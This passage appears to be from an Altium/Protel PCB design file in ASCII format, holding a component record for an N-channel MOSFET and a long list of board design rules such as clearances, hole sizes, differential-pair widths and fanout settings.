Nets|KIND=0|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=HHKGBWSV\r\n|RECORD=Class|INDEXFORSAVE=12|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=All From-Tos|KIND=2|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=QXPVYICP\r\n|RECORD=Component|ID=0|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|PRIMITIVELOCK=TRUE|X=157.4803mil|Y=157.4803mil|PATTERN=E3|NAMEON=TRUE|COMMENTON=FALSE|GROUPNUM=0|COUNT=0|ROTATION= 0.00000000000000E+0000|NAMEAUTOPOSITION=1|COMMENTAUTOPOSITION=3|UNIONINDEX=0|CHANNELOFFSET=0|SOURCEDESIGNATOR=Q1|SOURCEUNIQUEID=\\PFBWQACS|SOURCEHIERARCHICALPATH=Sample Schematic Sheet|SOURCEFOOTPRINTLIBRARY=Sample Integrated Library.IntLib|SOURCECOMPONENTLIBRARY=Sample Integrated Library.IntLib|SOURCELIBREFERENCE=MOSFET-N|SOURCEDESCRIPTION=N-Channel MOSFET|SOURCECOMPLIBIDENTIFIERKIND=2|SOURCECOMPLIBRARYIDENTIFIER=Sample Integrated Library.IntLib|UNIQUEID=WTBWAHIL|JUMPERSVISIBLE=TRUE\r\n|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=LatestRevisionDate|VALUE=17-Jul-2002|ISIMPORTED=TRUE\r\n|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=LatestRevisionNote|VALUE=Re-released for DXP Platform.|ISIMPORTED=TRUE\r\n|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=PackageDescription|VALUE=TO, Flat Index; 3 In-Line, Axial Leads; Body Dia. 4.6mm; Lead Dia. 0.5 mm (max)|ISIMPORTED=TRUE\r\n|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=PackageReference|VALUE=E3|ISIMPORTED=TRUE\r\n|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=PackageVersion|VALUE=1995/1996|ISIMPORTED=TRUE\r\n|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=Published|VALUE=8-Jun-2000|ISIMPORTED=TRUE\r\n|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=Publisher|VALUE=Altium Limited|ISIMPORTED=TRUE\r\n|RECORD=DXPRule|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=UnpouredPolygon|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=UnpouredPolygon|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=QFKDVCPG|DEFINEDBYLOGICALDOCUMENT=FALSE\r\n|RECORD=Rule|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=UnpouredPolygon|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=UnpouredPolygon|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=\r\n|RECORD=DXPRule|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=NetAntennae|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=NetAntennae|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=KMUHVMEL|DEFINEDBYLOGICALDOCUMENT=FALSE|NETANTENNAETOLERANCE=0mil\r\n|RECORD=Rule|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=NetAntennae|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=NetAntennae|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=\r\n|RECORD=DXPRule|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=SilkToBoardRegionClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=SilkToBoardRegionClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=WXITUWUQ|DEFINEDBYLOGICALDOCUMENT=FALSE\r\n|RECORD=Rule|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=SilkToBoardRegionClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=SilkToBoardRegionClearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=\r\n|RECORD=DXPRule|INDEXFORSAVE=3|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=SilkToSilkClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=SilkToSilkClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=NSHRSGNV|DEFINEDBYLOGICALDOCUMENT=FALSE|SILKTOSILKCLEARANCE=10mil\r\n|RECORD=Rule|INDEXFORSAVE=3|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=SilkToSilkClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=SilkToSilkClearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=\r\n|RECORD=DXPRule|INDEXFORSAVE=4|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=SilkToSolderMaskClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=IsPad|SCOPE2EXPRESSION=All|NAME=SilkToSolderMaskClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=VNFMPLKI|DEFINEDBYLOGICALDOCUMENT=FALSE|MINSILKSCREENTOMASKGAP=10mil|CLEARANCETOEXPOSEDCOPPER=TRUE\r\n|RECORD=Rule|INDEXFORSAVE=4|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=SilkToSolderMaskClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=SilkToSolderMaskClearance|ENABLED=FALSE|COMMENTLENGTH=44|COMMENT=Protel DXP Scope 1 Expression Was: IsPad   \r\n|RECORD=DXPRule|INDEXFORSAVE=5|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=MinimumSolderMaskSliver|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=MinimumSolderMaskSliver|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=IVVIETYE|DEFINEDBYLOGICALDOCUMENT=FALSE|MINSOLDERMASKWIDTH=10mil\r\n|RECORD=Rule|INDEXFORSAVE=5|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=MinimumSolderMaskSliver|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=MinimumSolderMaskSliver|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=\r\n|RECORD=DXPRule|INDEXFORSAVE=6|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=HoleToHoleClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=HoleToHoleClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=KCBNJFRC|DEFINEDBYLOGICALDOCUMENT=FALSE|GAP=10mil|ALLOWSTACKEDMICROVIAS=TRUE\r\n|RECORD=Rule|INDEXFORSAVE=6|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=HoleToHoleClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=HoleToHoleClearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=\r\n|RECORD=DXPRule|INDEXFORSAVE=7|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=DiffPairsRouting|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=DiffPairsRouting|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=MPYOJDST|DEFINEDBYLOGICALDOCUMENT=FALSE|MAXLIMIT=10mil|MINLIMIT=10mil|MOSTFREQGAP=10mil|TOPLAYER_MINWIDTH=15mil|TOPLAYER_MAXWIDTH=15mil|TOPLAYER_PREFWIDTH=15mil|MIDLAYER1_MINWIDTH=15mil|MIDLAYER1_MAXWIDTH=15mil|MIDLAYER1_PREFWIDTH=15mil|MIDLAYER2_MINWIDTH=15mil|MIDLAYER2_MAXWIDTH=15mil|MIDLAYER2_PREFWIDTH=15mil|MIDLAYER3_MINWIDTH=15mil|MIDLAYER3_MAXWIDTH=15mil|MIDLAYER3_PREFWIDTH=15mil|MIDLAYER4_MINWIDTH=15mil|MIDLAYER4_MAXWIDTH=15mil|MIDLAYER4_PREFWIDTH=15mil|MIDLAYER5_MINWIDTH=15mil|MIDLAYER5_MAXWIDTH=15mil|MIDLAYER5_PREFWIDTH=15mil|MIDLAYER6_MINWIDTH=15mil|MIDLAYER6_MAXWIDTH=15mil|MIDLAYER6_PREFWIDTH=15mil|MIDLAYER7_MINWIDTH=15mil|MIDLAYER7_MAXWIDTH=15mil|MIDLAYER7_PREFWIDTH=15mil|MIDLAYER8_MINWIDTH=15mil|MIDLAYER8_MAXWIDTH=15mil|MIDLAYER8_PREFWIDTH=15mil|MIDLAYER9_MINWIDTH=15mil|MIDLAYER9_MAXWIDTH=15mil|MIDLAYER9_PREFWIDTH=15mil|MIDLAYER10_MINWIDTH=15mil|MIDLAYER10_MAXWIDTH=15mil|MIDLAYER10_PREFWIDTH=15mil|MIDLAYER11_MINWIDTH=15mil|MIDLAYER11_MAXWIDTH=15mil|MIDLAYER11_PREFWIDTH=15mil|MIDLAYER12_MINWIDTH=15mil|MIDLAYER12_MAXWIDTH=15mil|MIDLAYER12_PREFWIDTH=15mil|MIDLAYER13_MINWIDTH=15mil|MIDLAYER13_MAXWIDTH=15mil|MIDLAYER13_PREFWIDTH=15mil|MIDLAYER14_MINWIDTH=15mil|MIDLAYER14_MAXWIDTH=15mil|MIDLAYER14_PREFWIDTH=15mil|MIDLAYER15_MINWIDTH=15mil|MIDLAYER15_MAXWIDTH=15mil|MIDLAYER15_PREFWIDTH=15mil|MIDLAYER16_MINWIDTH=15mil|MIDLAYER16_MAXWIDTH=15mil|MIDLAYER16_PREFWIDTH=15mil|MIDLAYER17_MINWIDTH=15mil|MIDLAYER17_MAXWIDTH=15mil|MIDLAYER17_PREFWIDTH=15mil|MIDLAYER18_MINWIDTH=15mil|MIDLAYER18_MAXWIDTH=15mil|MIDLAYER18_PREFWIDTH=15mil|MIDLAYER19_MINWIDTH=15mil|MIDLAYER19_MAXWIDTH=15mil|MIDLAYER19_PREFWIDTH=15mil|MIDLAYER20_MINWIDTH=15mil|MIDLAYER20_MAXWIDTH=15mil|MIDLAYER20_PREFWIDTH=15mil|MIDLAYER21_MINWIDTH=15mil|MIDLAYER21_MAXWIDTH=15mil|MIDLAYER21_PREFWIDTH=15mil|MIDLAYER22_MINWIDTH=15mil|MIDLAYER22_MAXWIDTH=15mil|MIDLAYER22_PREFWIDTH=15mil|MIDLAYER23_MINWIDTH=15mil|MIDLAYER23_MAXWIDTH=15mil|MIDLAYER23_PREFWIDTH=15mil|MIDLAYER24_MINWIDTH=15mil|MIDLAYER24_MAXWIDTH=15mil|MIDLAYER24_PREFWIDTH=15mil|MIDLAYER25_MINWIDTH=15mil|MIDLAYER25_MAXWIDTH=15mil|MIDLAYER25_PREFWIDTH=15mil|MIDLAYER26_MINWIDTH=15mil|MIDLAYER26_MAXWIDTH=15mil|MIDLAYER26_PREFWIDTH=15mil|MIDLAYER27_MINWIDTH=15mil|MIDLAYER27_MAXWIDTH=15mil|MIDLAYER27_PREFWIDTH=15mil|MIDLAYER28_MINWIDTH=15mil|MIDLAYER28_MAXWIDTH=15mil|MIDLAYER28_PREFWIDTH=15mil|MIDLAYER29_MINWIDTH=15mil|MIDLAYER29_MAXWIDTH=15mil|MIDLAYER29_PREFWIDTH=15mil|MIDLAYER30_MINWIDTH=15mil|MIDLAYER30_MAXWIDTH=15mil|MIDLAYER30_PREFWIDTH=15mil|BOTTOMLAYER_MINWIDTH=15mil|BOTTOMLAYER_MAXWIDTH=15mil|BOTTOMLAYER_PREFWIDTH=15mil|MAXUNCOUPLEDLENGTH=500mil\r\n|RECORD=Rule|INDEXFORSAVE=7|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=DiffPairsRouting|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=DiffPairsRouting|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=\r\n|RECORD=DXPRule|INDEXFORSAVE=8|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=IsBGA|SCOPE2EXPRESSION=All|NAME=Fanout_BGA|ENABLED=TRUE|PRIORITY=1|COMMENT=Fanout_BGA (Default Rule)|UNIQUEID=BEFGCMFL|DEFINEDBYLOGICALDOCUMENT=FALSE|BGADIR=Out|BGAVIAMODE=Centered|FANOUTSTYLE=Auto|FANOUTDIRECTION=Alternating|VIAGRID=1mil\r\n|RECORD=Rule|INDEXFORSAVE=8|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Fanout_BGA|ENABLED=FALSE|COMMENTLENGTH=69|COMMENT=Protel DXP Scope 1 Expression Was: IsBGA   Fanout_BGA (Default Rule)\r\n|RECORD=DXPRule|INDEXFORSAVE=9|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=IsLCC|SCOPE2EXPRESSION=All|NAME=Fanout_LCC|ENABLED=TRUE|PRIORITY=2|COMMENT=Fanout_LCC (Default Rule)|UNIQUEID=TTWIGGER|DEFINEDBYLOGICALDOCUMENT=FALSE|BGADIR=Out|BGAVIAMODE=Centered|FANOUTSTYLE=Auto|FANOUTDIRECTION=Alternating|VIAGRID=1mil\r\n|RECORD=Rule|INDEXFORSAVE=9|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Fanout_LCC|ENABLED=FALSE|COMMENTLENGTH=69|COMMENT=Protel DXP Scope 1 Expression Was: IsLCC   Fanout_LCC (Default Rule)\r\n|RECORD=DXPRule|INDEXFORSAVE=10|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=IsSOIC|SCOPE2EXPRESSION=All|NAME=Fanout_SOIC|ENABLED=TRUE|PRIORITY=3|COMMENT=Fanout_SOIC (Default Rule)|UNIQUEID=XTCCKVDR|DEFINEDBYLOGICALDOCUMENT=FALSE|BGADIR=Out|BGAVIAMODE=Centered|FANOUTSTYLE=Auto|FANOUTDIRECTION=Alternating|VIAGRID=1mil\r\n|RECORD=Rule|INDEXFORSAVE=10|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Fanout_SOIC|ENABLED=FALSE|COMMENTLENGTH=71|COMMENT=Protel DXP Scope 1 Expression Was: IsSOIC   Fanout_SOIC (Default Rule)\r\n|RECORD=DXPRule|INDEXFORSAVE=11|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=(CompPinCount < 5)|SCOPE2EXPRESSION=All|NAME=Fanout_Small|ENABLED=TRUE|PRIORITY=4|COMMENT=Fanout_Small (Default Rule)|UNIQUEID=JGBUQKCO|DEFINEDBYLOGICALDOCUMENT=FALSE|BGADIR=Out|BGAVIAMODE=Centered|FANOUTSTYLE=Auto|FANOUTDIRECTION=OutThenIn|VIAGRID=1mil\r\n|RECORD=Rule|INDEXFORSAVE=11|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Fanout_Small|ENABLED=FALSE|COMMENTLENGTH=84|COMMENT=Protel DXP Scope 1 Expression Was: (CompPinCount < 5)   Fanout_Small (Default Rule)\r\n|RECORD=DXPRule|INDEXFORSAVE=12|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=Fanout_Default|ENABLED=TRUE|PRIORITY=5|COMMENT=Fanout_Default (Default Rule)|UNIQUEID=CWRCADAM|DEFINEDBYLOGICALDOCUMENT=FALSE|BGADIR=Out|BGAVIAMODE=Centered|FANOUTSTYLE=Auto|FANOUTDIRECTION=Alternating|VIAGRID=1mil\r\n|RECORD=Rule|INDEXFORSAVE=12|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Fanout_Default|ENABLED=TRUE|COMMENTLENGTH=30|COMMENT=Fanout_Default (Default Rule)\r\n|RECORD=DXPRule|INDEXFORSAVE=13|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=HoleSize|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=HoleSize|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=PRUOHPHJ|DEFINEDBYLOGICALDOCUMENT=FALSE|ABSOLUTEVALUES=TRUE|MAXLIMIT=100mil|MINLIMIT=1mil|MAXPERCENT=80.000|MINPERCENT=20.000\r\n|RECORD=Rule|INDEXFORSAVE=13|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=HoleSize|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=HoleSize|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|ABSOLUTEVALUES=TRUE|MAXLIMIT=100mil|MINLIMIT=1mil|MAXPERCENT=80.000|MINPERCENT=20.000\r\n|RECORD=DXPRule|INDEXFORSAVE=14|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=LayerPairs|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=LayerPairs|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=JRYAMCFT|DEFINEDBYLOGICALDOCUMENT=FALSE|ENFORCE=TRUE\r\n|RECORD=Rule|INDEXFORSAVE=14|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=LayerPairs|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=LayerPairs|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|ENFORCE=TRUE\r\n|RECORD=DXPRule|INDEXFORSAVE=15|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=Height|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=Height|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=ILUYVPIE|DEFINEDBYLOGICALDOCUMENT=FALSE|MINHEIGHT=0mil|MAXHEIGHT=1000mil|PREFHEIGHT=500mil\r\n|RECORD=Rule|INDEXFORSAVE=15|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=Height|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Height|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=\r\n|RECORD=DXPRule|INDEXFORSAVE=16|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=ComponentClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=ComponentClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=MYUBKMLN|DEFINEDBYLOGICALDOCUMENT=FALSE|GAP=10mil|COLLISIONCHECKMODE=3|VERTICALGAP=10mil|SHOWDISTANCES=FALSE\r\n|RECORD=Rule|INDEXFORSAVE=16|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=ComponentClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=ComponentClearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|GAP=10mil|COLLISIONCHECKMODE=3\r\n|RECORD=DXPRule|INDEXFORSAVE=17|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=AssemblyTestpoint|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=AssemblyTestpoint|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=RDUIDLVC|DEFINEDBYLOGICALDOCUMENT=FALSE|TESTPOINTUNDERCOMPONENT=TRUE|MINSIZE=40mil|MAXSIZE=100mil|PREFEREDSIZE=60mil|MINHOLESIZE=0mil|MAXHOLESIZE=40mil|PREFEREDHOLESIZE=32mil|TESTPOINTGRID=1mil|USEGRID=TRUE|GRIDTOLERANCE=0.01mil|ALLOWSIDETOP=TRUE|ALLOWSIDEBOTTOM=TRUE\r\n|RECORD=Rule|INDEXFORSAVE=17|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=AssemblyTestpoint|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=AssemblyTestpoint|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=\r\n|RECORD=DXPRule|INDEXFORSAVE=18|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=AssemblyTestPointUsage|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=AssemblyTestPointUsage|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=EGCLMOMR|DEFINEDBYLOGICALDOCUMENT=FALSE\r\n|RECORD=Rule|INDEXFORSAVE=18|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=AssemblyTestPointUsage|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=AssemblyTestPointUsage|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=\r\n|RECORD=DXPRule|INDEXFORSAVE=19|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FabricationTestpoint|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=FabricationTestpoint|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=LXXMAVJC|DEFINEDBYLOGICALDOCUMENT=FALSE|SIDE=3|TESTPOINTUNDERCOMPONENT=TRUE|MINSI